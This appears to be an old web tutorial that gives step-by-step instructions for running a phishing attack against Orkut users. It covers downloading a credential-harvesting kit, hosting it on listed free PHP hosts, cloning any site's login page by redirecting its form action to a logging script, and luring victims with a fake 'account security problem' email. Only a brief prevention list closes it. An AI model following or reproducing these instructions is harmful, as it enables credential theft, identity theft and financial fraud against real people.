How to Perform Phishing Attack

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that will be used for identity theft.
The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is Bogus and set up only to steal the User’s information.
Phishing attacks are Trying to steal your Money !!!

Phishing Scams Could Be-

• Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
• Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
• Emails containing some Information of your Interest and asking you to Login to Your Account.
•  Any Email carrying a Link to Click and asking you to Login.

The Phishing Hack Starts Now. this Hack example is for orkut account.

Step 1:- Download the necessary files Which you will need during the phishing attack. This file is a .rar file which includes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in which there are support files for ServerLogin.html

You can Download the pack From Here

Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.

Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in any web hosting site..
You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" and upload the 2 images of the pack in that folder. (it must support PHPs.)
>>> You can choose one of the following web hosting Company to upload the Folder.
http://www.freeweb7.com
http://Ripway.com{Recommended}
http://www.110mb.com
http://www.phpnet.us
http://www.byethost.com
http://www.t35.com
http://www.awardspace.com
http://www.free-webhosts.com/free-php-webhosting.php
http://www.freehostia.com
http://www.dajoob.com
http://ifastnet.com
http://007ihost.com
http://www.247mb.com/register.jsp
http://www.10gbfreehost.com/

Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the password and sign in . Password will be stored in "hackingtech.txt"...

General form of the fake page's link
Code:
http://urwebhostingsite/urusername/ServiceLogin.htm
Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to send fake email within short time.


Now If You want to create your own phishing page the follow the steps below.
Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
Step 7:-Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it should be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
Step 8:-Now Save this as serverlogin.htm
Step 9:-Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" and serverlogin.htm file in any web hosting site you want.
Step 10:-You are done just go to the link of the file serverlogin.htm given by your hosting company .
Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to send fake email within short time.
Step 12:-To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .

Prevention Against Phishing :-

• Read all the Email Carefully and Check if the Sender is Original.
•  Watch the Link Carefully before Clicking
•  Always check the URL in the Browser before Signing IN to your Account
•  Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email